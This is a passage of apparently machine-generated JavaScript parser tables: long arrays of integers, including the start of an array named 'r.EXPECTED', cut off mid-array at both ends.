,57916,57916,57916,57916,59465,57916,57916,57916,57916,57916,57916,57916,57916,57916,60943,57916,57916,57916,57916,57916,57916,57916,57916,57916,59478,57916,57916,57916,59483,57916,57916,57916,57916,57916,57916,57916,57916,60021,57943,57943,57943,57943,57943,57943,57943,60029,57916,57916,59512,59513,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59470,57916,57916,57916,57943,57943,57943,57943,59546,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59557,57943,57943,57943,57943,59561,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60082,57943,57943,57943,57943,59574,57943,57943,57943,59579,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60735,57943,57943,57943,57943,57943,59608,59609,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60095,57943,57943,2302,2303,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5767168,0,2339,0,0,2341,2342,0,0,0,0,0,0,0,0,0,0,0,335872,0,0,0,0,528,2434,528,528,2438,528,528,528,2442,528,528,528,528,528,528,528,2912,528,528,528,528,528,528,528,528,528,3857,528,528,57893,57893,57893,57893,528,528,528,528,2452,528,528,528,2455,528,528,528,528,528,528,528,2925,528,528,528,2928,528,528,528,528,528,2487,528,528,528,528,528,2492,528,528,528,528,528,528,528,0,0,57893,57893,57893,60610,57893,57893,57893,57893,57893,60615,57893,0,2503,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60288,57893,57893,60291,60292,57893,57893,57893,57893,57893,57893,57893,57893,59865,57893,57893,59869,57893,57893,57893,59873,57893,57893,57893,57893,57893,60312,57893,57893,57893,57893,57893,57893,57893,60320,57893,57893,59916,57893,57893,57893,57893,59920,57893,57893,57893,57893,57893,59925,57893,57893,57893,57893,57893,60328,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58867,50676,58773,990,58870,57916,57916,57916,57916,57916,60005,57916,57916,57916,57916,60009,57916,57916,57916,57916,57916,60014,57943,57943,57943,57943,60088,57943,57943,57943,57943,60092,57943,57943,57943,57943,57943,60097,2856,0,0,0,0,0,0,0,0,0,0,2863,0,0,0,0,0,0,212992,0,0,0,0,0,212992,212992,212992,212992,2893,528,528,528,528,2896,528,528,2898,528,2899,528,528,528,528,528,1356,528,1361,528,528,1365,528,528,1368,528,528,528,528,528,2907,528,528,2911,528,528,528,528,528,528,528,528,528,2494,528,528,2497,2498,528,0,2920,528,528,528,2923,528,528,528,528,528,528,528,528,528,528,528,528,3506,3507,528,528,57893,60308,57893,57893,57893,57893,57893,57893,57893,57893,57893,60317,57893,57893,60321,57893,57893,57893,57893,58835,57893,57893,57893,58842,58844,57893,57893,57893,57893,57893,57893,59381,57893,57893,57893,57893,57893,57893,57893,57893,57893,60902,57893,57893,60905,57893,57893,57893,0,57916,57916,60346,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60354,60369,57916,57916,57916,57916,60372,57916,57916,60374,57916,60375,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,4288,0,0,0,528,57916,57916,57916,57916,60384,57916,57916,60388,57916,57916,57916,57916,57916,57916,57916,57916,60402,57916,57916,57916,57916,57916,57916,57916,57916,59995,57916,57916,57916,57916,6e4,57916,57916,57916,60397,57916,57916,57916,60400,60401,57916,57916,57916,57916,57916,57916,57916,57916,57916,60683,57916,57916,57916,57916,57916,57916,57916,57916,59452,57916,57916,57916,57916,57916,57916,57916,57943,57943,60419,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60469,57943,57943,57943,57943,57943,60434,57943,57943,57943,57943,60437,57943,57943,60439,57943,60440,57943,57943,57943,57943,57943,60422,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61155,57943,57943,57943,528,57943,57943,57943,57943,60462,57943,57943,57943,60465,60466,57943,57943,57943,57943,57943,57943,57943,60752,57943,57943,528,528,528,57893,57893,57893,0,0,0,0,0,3658,0,0,3228,528,528,528,528,3233,528,528,528,3236,528,528,528,528,528,528,3255,528,528,528,528,528,528,528,528,528,528,2482,528,528,528,528,528,3261,528,528,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60616,57893,60619,57893,57893,57893,57893,60624,57893,57893,57893,60627,57893,57893,57893,57893,57893,58805,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,61460,57916,57893,57893,57893,60654,57893,57893,0,0,57916,57916,57916,57916,57916,57916,57916,57916,60692,57916,57916,57916,57916,57916,57916,57916,57916,59499,57916,57916,57916,57916,57916,57916,57916,57916,57916,60665,57916,60668,57916,57916,57916,57916,60673,57916,57916,57916,60676,57916,57916,57916,57916,58935,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58887,57916,57916,57916,57916,57943,57943,57943,60714,57943,60717,57943,57943,57943,57943,60722,57943,57943,57943,60725,57943,57943,57943,57943,57943,61580,61581,57943,57943,0,0,0,0,4242,0,528,528,528,528,528,528,528,528,2427,528,528,528,528,2431,528,0,3454,0,3455,0,0,0,0,0,0,0,0,0,0,0,0,1883,0,0,0,528,528,528,3485,528,528,528,528,528,528,528,528,528,528,528,528,1384,528,528,528,528,528,3497,528,528,528,528,528,528,528,528,3505,528,528,528,528,528,2453,528,528,528,528,528,528,528,528,528,528,1382,528,528,528,1386,528,57893,57893,60869,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60637,57893,57893,57893,57893,57893,57893,57893,57893,60314,57893,57893,57893,57893,57893,57893,57893,57893,60341,57893,57893,57893,0,2999,0,0,0,57893,60881,57893,57893,57893,57893,57893,57893,57893,57893,60889,57893,57893,57893,57893,57893,58820,57893,57893,57893,57893,57893,57893,57893,58829,57893,57893,57916,57916,57916,60911,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59503,57916,57916,57916,57916,57916,60923,57916,57916,57916,57916,57916,57916,57916,57916,60931,57916,57916,57916,57916,57916,59481,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58911,57916,57916,57916,57916,57916,57916,57943,57943,57943,60953,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60094,57943,57943,57943,57943,57943,57943,60965,57943,57943,57943,57943,57943,57943,57943,57943,60973,57943,57943,57943,57943,57943,60050,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60745,57943,57943,57943,0,3680,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3439,0,0,0,0,0,3693,3694,0,0,0,0,528,528,528,528,528,528,528,2875,528,528,528,528,528,528,528,528,3704,528,528,528,528,528,528,528,528,528,528,528,528,528,528,3494,528,528,3714,528,528,528,528,528,3719,528,3721,528,528,528,528,528,528,3488,528,528,528,528,528,3492,528,528,528,61091,57893,61093,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,61131,61132,57943,57943,57916,57916,57916,57916,61104,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61110,57916,57916,57916,57916,57916,57916,57916,61114,57916,57916,57916,57916,57916,57916,61120,57916,61122,57916,57916,57916,57916,57916,61324,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,60970,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61149,57943,61151,57943,57943,57943,57943,57943,57943,57943,57943,528,2761,528,528,528,57893,60110,57893,57893,528,528,57893,57893,57893,0,0,0,3818,0,0,0,0,0,0,0,722,0,724,0,0,0,0,0,0,0,0,3823,0,0,0,0,0,0,0,3675,0,0,0,0,3831,0,528,528,528,528,528,3843,528,528,528,3847,528,528,528,528,528,1357,528,528,528,528,528,528,528,528,528,528,528,1422,528,528,528,528,57893,61205,57893,57893,57893,61209,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60886,57893,57893,57893,57893,57893,57893,57893,57893,59896,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61218,57893,57893,57893,57893,57916,57916,57916,57916,57916,61224,57916,0,0,0,0,57893,57943,57943,58415,57943,57943,57943,57943,57943,57943,58446,57916,57916,61228,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60697,57916,57916,57916,61237,57916,57916,57916,57916,57943,57943,57943,57943,57943,61243,57943,57943,57943,61247,528,4162,57893,57893,57893,61510,57893,57893,57893,57893,57893,57893,57893,57893,61518,57893,57893,57893,57893,58858,57893,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,57916,57916,58903,57916,57916,57916,57916,57916,57916,57916,57916,57916,58913,57916,57916,57916,57916,61523,57916,57916,57916,57916,57916,57916,57916,57916,61531,57916,57943,57943,57943,57943,57943,60955,57943,57943,57943,57943,57943,57943,57943,57943,57943,59581,57943,57943,57943,57943,57943,57943,57943,61536,57943,57943,57943,57943,57943,57943,57943,57943,61544,57943,0,0,0,0,0,0,262144,262144,0,0,0,0,0,0,0,0,0,0,4203,4204,4205,0,4207,528,528,528,528,528,528,528,528,528,4213,4214,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,61564,61565,57893,57893,57916,0,0,0,0,57893,57943,57943,58416,57943,57943,57943,57943,58437,58441,58447,528,528,528,57893,57893,57893,57893,57916,57916,57916,57916,57943,57943,57943,57943,4298,0,528,4299,57893,61644,57916,61645,57943,61646,0,528,57893,57916,57943,0,528,528,528,528,528,528,2425,528,528,528,528,528,528,528,528,528,3246,528,528,528,528,528,528,0,0,0,361,362,0,0,0,0,0,0,0,368,0,296,0,0,0,0,393685,0,393685,393685,393685,0,393685,393685,393685,393685,393685,393685,0,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1731,0,0,0,0,0,0,0,1741,1742,0,0,0,0,0,278528,278528,0,0,0,0,0,0,0,0,0,416,416,0,0,0,0,0,426,426,0,0,131072,426,0,0,0,0,426,0,0,454,0,426,0,483,483,483,0,0,362,362,362,502,362,362,362,362,483,483,483,483,483,483,483,483,483,483,483,483,483,483,483,483,546,57912,546,57912,546,546,57912,546,546,57935,57912,546,546,57912,57912,57912,57912,57962,57962,57912,57912,57912,57912,57962,57962,57912,546,57912,57912,57935,57912,57912,57912,57912,57912,57912,57912,57935,57935,57912,57912,57962,57912,57912,57912,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,368,368,0,703,0,0,0,0,0,0,0,0,0,0,0,0,2298,0,0,0,905,528,528,528,57893,57893,57893,57893,57893,57893,57893,58287,57893,57893,57893,57893,57893,60340,57893,57893,57893,57893,57893,0,2999,0,0,0,57893,58306,57893,57893,57893,57893,58324,57893,57893,57893,0,57916,57916,57916,57916,57916,57943,57943,57943,61129,57943,57943,57943,57943,57943,57943,57943,57943,60741,57943,57943,57943,57943,57943,57943,57943,57943,60753,57943,528,528,528,57893,57893,57893,57916,57916,58363,57916,57916,57916,57916,57916,58382,57916,57916,57916,57916,58400,57916,57916,57916,57916,58936,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60392,57916,57916,57916,57916,57916,0,0,0,0,58306,57943,57943,57943,57943,57943,57943,57943,58438,57943,57943,57943,57943,57943,60448,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60427,57943,57943,57943,57943,57943,57943,57943,58457,57943,57943,57943,57943,58475,57943,57943,57943,528,528,528,528,2284,57893,57893,57893,57893,59633,2290,0,2291,0,0,905,528,0,57893,57893,57893,57893,58324,57893,155942,1151,0,1152,0,0,1157,0,0,0,1266,0,0,0,0,0,0,0,1266,0,0,0,0,0,0,450560,0,0,450560,0,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,1346,528,528,528,1355,528,528,528,528,528,528,528,528,528,528,528,528,3711,528,528,528,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,58785,57893,57893,57893,58794,57893,57893,58855,57893,57893,57893,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,57916,57916,58938,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61121,57916,57916,57916,57916,57943,57943,58974,57943,57943,57943,58983,57943,57943,57943,57943,57943,57943,57943,57943,57943,59045,57943,57943,57943,57943,57943,57943,0,0,0,1730,0,0,0,0,1737,0,0,0,0,0,0,0,739,0,0,0,0,0,0,0,0,1271,0,0,0,0,0,0,0,0,0,0,1762,0,0,0,0,0,0,0,1770,1771,0,0,0,0,0,3422,0,0,0,0,0,0,0,3426,0,0,0,0,0,1834,0,0,0,0,0,0,0,1840,0,0,0,0,0,0,532480,0,0,0,0,0,0,0,0,0,694,0,0,0,0,0,368,0,0,1846,0,1848,0,0,0,0,0,0,0,0,0,0,0,376832,0,376832,0,0,1915,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2499,528,1930,528,528,528,528,528,528,528,528,528,528,528,1943,528,528,0,57893,57893,57893,57893,57893,57893,155942,1151,0,0,0,0,0,0,0,4857856,4874240,0,0,0,0,0,0,0,796,0,0,0,0,805,0,0,0,59373,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59386,57893,57893,57893,2588,0,0,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,60352,57916,57916,57916,57916,57916,57893,57893,59411,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59422,57893,57893,57893,57893,57893,60884,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60903,57893,57893,57893,57893,57893,57916,59511,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59522,57916,57916,57916,57916,57916,61395,57916,61397,61398,57916,61400,57916,61402,57943,57943,57943,3916,528,61261,57893,0,0,0,0,0,0,0,0,0,0,2774,0,0,0,0,59607,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59618,57943,57943,57943,57943,57943,58978,57943,57943,57943,57943,57943,57943,57943,57943,57943,58997,0,0,2326,0,0,0,0,0,0,0,0,0,0,0,0,0,221652,221652,221652,0,0,2504,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61097,57893,57893,57893,57916,57916,57916,57916,57916,528,3229,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2447,528,60618,57893,60620,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61211,57893,57893,57893,57893,57893,57893,57893,57893,59870,57893,57893,57893,57893,59875,57893,57893,57916,57916,57916,60667,57916,60669,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60404,57916,57916,57916,57916,57916,60698,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,60709,57943,57943,57943,57943,57943,60463,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59599,57943,57943,57943,59605,57943,57943,57943,57943,60716,57943,60718,57943,57943,57943,57943,57943,57943,57943,57943,57943,59046,57943,57943,57943,57943,57943,57943,57943,60747,57943,57943,57943,57943,57943,57943,57943,57943,528,528,528,57893,57893,57893,0,0,0,3656,0,0,0,0,0,0,0,3432,0,0,0,0,0,0,0,0,0,0,0,0,2323,2324,0,0,57943,57943,61250,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60724,57943,57943,0,4147,0,0,0,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,0,4161,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61517,57893,57893,57893,57893,57893,60898,60900,57893,57893,57893,57893,60904,57893,60906,60907,57893,57916,57916,57916,61627,57916,57943,57943,57943,57943,61631,57943,0,0,0,0,528,528,2870,528,528,528,528,528,528,528,528,528,528,2878,373,373,0,0,131072,373,0,0,0,0,373,0,0,0,0,373,547,57913,547,57913,547,547,57913,547,547,57936,57913,547,547,57913,57913,57913,57913,57963,57963,57913,57913,57913,57913,57963,57963,57913,547,57913,57913,57936,57913,57913,57913,57913,57913,57913,57913,57936,57936,57913,57913,57963,57913,57913,57913,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,528,528,528,528,861,528,528,528,528,528,528,528,528,528,528,528,528,3723,528,528,528,57916,58356,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60677,57916,57893,58799,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61221,57893,57916,57916,57916,57916,57916,57916,57916,57943,57943,60023,57943,57943,57943,57943,57943,57943,528,528,1931,528,528,528,528,528,528,528,528,528,528,528,528,528,1401,528,528,57893,59374,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59882,57893,57893,57893,57893,57893,57893,57893,57893,57893,60290,57893,57893,57893,57893,57893,57893,59474,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60920,57916,0,0,0,3824,0,3825,0,0,0,0,3675,0,0,0,0,0,0,0,0,0,0,0,0,0,1227,0,0,0,0,0,364,0,0,0,0,0,0,0,0,0,0,364,0,0,0,0,0,0,0,0,0,0,0,0,2335,0,0,0,365,0,0,0,0,364,0,0,0,139264,147456,0,0,0,0,0,0,1324,0,0,0,0,0,0,0,0,0,1166,0,0,0,0,0,0,0,0,0,434,131072,0,434,434,0,0,0,434,0,365,434,0,0,0,0,401408,0,0,0,0,0,0,0,0,0,0,0,0,6471680,0,0,0,466,0,0,0,494,494,497,497,497,497,503,504,497,497,517,517,517,517,517,517,517,517,517,517,517,517,517,517,517,517,548,57914,548,57914,548,548,57914,548,548,57937,57914,548,548,57914,57914,57914,57914,57964,57964,57914,57914,57914,57914,57964,57964,57914,626,57914,57977,57937,57914,57914,57914,57914,57914,57914,57914,57937,57937,57914,57914,57964,57914,57914,57914,57977,57977,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,459187,0,0,0,0,0,0,0,0,0,0,0,528,528,528,528,528,528,528,528,0,528,2420,528,528,528,528,528,528,528,528,528,528,528,528,528,1402,528,528,0,0,0,57893,59850,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60287,57893,57893,57893,57893,57893,57893,57893,57893,57893,60302,57893,57893,57893,57893,60305,57893,57893,60307,528,528,528,528,2895,528,528,528,528,528,528,528,528,528,528,528,528,4026,57893,57893,57893,57893,60337,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,0,0,0,0,0,1781,0,0,0,0,0,0,0,0,0,139264,147456,0,0,335872,0,0,57916,57916,57916,57916,60371,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61401,57916,57943,57943,57943,368,368,0,0,0,0,705,0,0,0,0,0,0,0,0,0,139264,147456,0,0,540672,0,0,0,0,735,0,801,0,0,0,0,0,0,0,0,801,0,0,0,0,416,0,0,0,0,0,0,0,0,0,0,0,0,3464,0,0,0,528,528,528,528,862,528,528,528,528,528,528,528,528,528,528,528,528,61203,57893,57893,57893,57916,58357,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61111,57916,1202,0,0,0,0,0,0,0,0,0,0,368,368,0,0,0,0,0,0,0,0,709,0,0,0,0,0,0,1251,0,0,0,0,0,0,0,0,0,2810,0,0,0,0,0,0,58853,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,57916,57916,59463,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60696,57916,57916,57916,57916,59015,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60442,1726,0,0,0,0,1733,0,0,0,0,0,0,0,0,0,0,319488,319488,0,0,0,0,0,57916,57916,57916,59978,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59959,57916,57916,57916,57943,57943,57943,60061,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59011,57943,57943,57943,2779,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,245760,528,528,2881,528,528,528,528,528,528,528,528,528,528,528,528,528,1404,528,528,57916,57916,60357,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60919,57916,57916,0,306,307,0,0,0,0,0,0,0,647,0,0,0,0,0,0,1813,0,0,0,0,0,0,0,0,0,787,0,0,0,0,0,0,906,528,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,57916,906,528,0,57893,58490,57893,57893,58325,57893,155942,1151,0,0,0,0,0,0,1836,0,0,1838,0,0,0,0,0,0,0,2861,2813,0,0,0,0,0,2866,0,57893,57893,58856,57893,57893,57893,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,57916,57916,59495,59496,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61574,57943,57943,57943,57943,0,0,1862,0,0,0,0,0,0,0,0,0,0,0,0,0,327680,327680,327680,528,528,1948,528,528,528,528,528,528,528,528,528,528,528,528,528,1942,528,528,57893,59391,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60313,57893,57893,57893,57893,57893,57893,57893,57893,57893,59922,57893,57893,57893,57893,57893,57893,57893,59491,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61123,57916,57916,0,0,0,57893,57893,57893,57893,59853,57893,57893,57893,57893,57893,57893,57893,57893,60329,57893,57893,57893,57893,57893,57893,57893,57893,57893,59367,59368,57893,57893,57893,57893,57893,59877,57893,59879,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60636,57893,57893,57893,57893,57893,57893,57893,57893,57893,60316,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,59966,57916,59968,57916,57916,57916,57916,57916,57916,57916,57916,57916,61117,57916,61119,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,60049,57943,60051,57943,57943,57943,57943,57943,57943,57943,57943,57943,59552,57943,57943,57943,57943,59556,57943,60381,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61403,57943,57943,57943,57943,57943,60446,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59554,57943,57943,57943,0,3418,0,0,0,0,0,0,0,0,0,0,0,0,0,0,352256,352256,352256,57893,57893,57893,57893,60871,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60645,57893,57893,57893,57893,57893,57893,57893,57893,57893,59923,57893,57893,57893,57893,57893,57893,3713,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2500,57916,57916,61113,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59973,57916,57916,57916,0,0,0,2310144,0,0,0,0,0,0,2310144,0,0,0,0,0,0,0,0,0,0,0,2310144,0,0,2310144,0,0,0,0,0,0,0,2310144,2310144,0,0,0,0,0,0,0,0,2310144,0,0,0,2310144,0,0,0,0,0,2310144,0,2310144,0,0,0,0,0,0,2310144,2310561,2310561,0,2310144,0,0,2310144,0,0,2310144,0,2310144,2310144,0,2310144,0,2310144,2310144,0,0,0,0,0,0,2310561,0,0,0,0,0,0,0,0,0,0,0,2359296,368,0,0,0,0,2310144,0,0,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310144,2310740,2310144,2310144,2310740,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,459347,459347,459347,459347,459347,459347,459347,459347,459347,459347,459347,459347,459347,459222,459379,459222,2318336,0,0,0,4268032,0,0,0,0,0,0,0,0,0,0,0,4276224,0,0,0,0,4358144,4358144,4358144,4358144,0,914,0,0,0,0,0,0,0,0,0,0,4956160,4964352,0,0,0,0,0,467,2335204,2335204,2335204,467,467,467,467,467,467,467,467,467,467,2335238,2335238,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,467,0,0,0,0,0,0,0,0,0,0,2335238,2335204,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,0,0,0,2342912,0,0,0,0,0,0,0,0,0,0,0,0,2348,0,0,0,0,0,0,2326528,0,0,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5177344,4358144,4358144,4358144,4358144,0,0,0,2359296,0,2359296,0,0,0,2359296,0,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,573440,0,573440,573440,573440,0,573440,573440,573440,573440,573440,573440,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,2367488,0,0,4268032,0,0,0,0,0,0,0,0,0,0,0,4931584,0,0,0,0,0,0,2351104,0,0,0,0,0,0,0,0,0,0,0,0,0,507904,507904,507904,0,913,0,0,0,0,0,4857856,4874240,0,0,0,0,0,0,0,1180,0,0,0,0,1184,0,0,1187,0,6275072,0,0,0,0,0,0,0,0,0,0,0,989,0,0,0,0,913,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,5260177,4359057,4359057,0,0,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,212992,0,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,0,0,0,0,0,4366336,0,0,0,0,0,0,0,0,2412,0,0,0,0,0,0,0,0,0,0,6275072,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6258688,6447104,0,0,6127616,0,6348800,5906432,0,5537792,0,4882432,0,0,0,0,0,0,4825088,0,0,5177344,0,0,0,0,5701632,0,0,0,0,0,4358144,4358144,4358144,4825088,4358144,4358144,4358144,4358144,0,0,913,913,913,4826001,913,913,913,913,913,913,0,0,989,989,4842461,989,989,989,4899805,989,0,0,5513216,5783552,0,0,0,0,0,0,0,0,0,0,4358144,4358144,4358144,4358144,4358144,4857856,4874240],r.EXPECTED=[169,185,215,1326,231,1001,278,928,942,1085,320,247,263,307,336,352,368,384,400,914,2264,430,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,2268,1707,1603,1403,460,1356,1591,491,507,517,533,1816,1031,2119,564,475,580,596,625,684,700,1905,716,1114,747,778,788,1693,1145,762,804,820,836,852,868,884,900,958,988,1017,972,1997,1047,1057,1073,1101,1130,2028,1562,1190,1205,1221,1237,1253,1269,1298,1314,1342,1174,1446,1372,1876,2073,1633,668,1388,1419,1434,1467,1483,1499,1515,609,1531,1547,1578,444,654,640,1619,1649,1662,1678,1723,1738,1754,1770,1786,1802,1832,1848,291,1864,2228,1892,1921,1937,199,2149,1953,1969,1985,1282,2013,2044,2060,2089,2105,548,2135,2165,2181,2197,2213,1160,2244,731,2260,2264,1457,412,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,419,2284,2288,2290,2290,2290,2291,2295,2290,2297,2301,2304,2311,2307,2315,2318,2322,2326,2330,2334,2338,2345,2345,3446,2344,2345,3427,2352,3605,2345,4169,2345,2345,2345,3950,4664,4990,4059,4582,2828,4588,2345,4069,4598,2345,4069,4603,2734,3100,2397,2497,2359,2366,2466,2372,2376,2345,2345,4266,2345,2345,2383,3820,2359,2359,2392,2419,2419,2419,2419,2405,2427,2345,2345,2345,2345,2345,2409,2455,3819,2345,2345,3099,3100,3100,3100,2495,2398,2398,2398,2504,2359,2359,2359,2482,2419,2419,2419,2517,2345,2345,2345,2457,2345,3100,3100,3101,2398,2398,2398,2359,2359,2359,2359,2359,2418,2419,2419,2419,2419,2419,2424,2437,2345,2345,2345,2345,4505,2729,2345,2345,2345,2345,4509,5101,4513,2345,2345,3904,2359,2359,2484,2419,2419,2519,2345,3864,2345,4865,3100,3100,2501,2398,2538,2359,2359,2359,2359,2359,2548,2419,2419,2419,2419,2395,2490,2345,2345,2359,2483,2419,2549,2508,3755,2345,4867,4911,2398,2400,2359,2515,2419,2525,3605,3100,2476,2401,2547,2550,2816,4868,2399,2481,2485,2735,2532,2503,2361,2368,4866,2476,2360,2420,4909,2537,2546,2486,2533,2362,2542,2554,2567,2571,2575,2579,2583,2586,2586,2586,2598,2591,2586,2587,2595,2602,2606,2610,2614,2618,2622,2626,2630,4594,2634,2345,2345,2903,2640,2345,2345,2999,2345,2345,2645,2345,2345,2345,2345,2345,2345,4208,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,4460,2655,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2655,2345,2345,2636,4128,2345,2345,2345,2345,2635,4127,2345,2345,2345,2345,2635,4127,2794,2345,2345,2345,3016,2798,2345,2345,2345,3017,2799,2345,2345,2345,2806,2729,2876,3308,2345,2915,2345,3310,2345,2922,2345,3536,2683,4475,3831,4927,2685,4422,2850,2345,2345,2345,2345,2345,2345,5004,2345,2345,2345,2345,4417,3024,3547,2854,5007,2861,2345,2345,2345,2345,4422,2869,2345,2345,2345,2345,2345,2868,2729,2345,2345,2345,2345,2345,2873,2345,2345,2345,4443,2345,3549,3338,2880,2345,2345,2345,2345,2887,2729,2345,2345,2345,2883,2880,2345,2345,4951,4956,2345,2345,2345,2345,4604,4971,4982,2345,2345,4805,4988,3762,2345,3965,2345,4436,4591,2907,2345,3192,2909,2345,4490,2345,3191,2908,2345,3491,4849,4476,4920,4920,4920,4849,2720,4477,4477,4477,4918,4922,2683,4476,4863,4478,2719,2684,2432,2429,2431,2563,2345,2345,2345,2345,2345,2345,2984,2345,2345,2345,2511,4068,4075,2345,2345,4081,2345,4085,2345,2345,4099,2345,3067,3768,2729,4088,2928,3046,2947,2932,2935,2938,2940,2940,2944,2345,2951,2956,2345,2345,5022,2729,2345,2345,2345,2345,4180,2345,2345,2345,2345,5023,2345,4654,2345,4496,2345,3077,4168,3570,5100,4176,2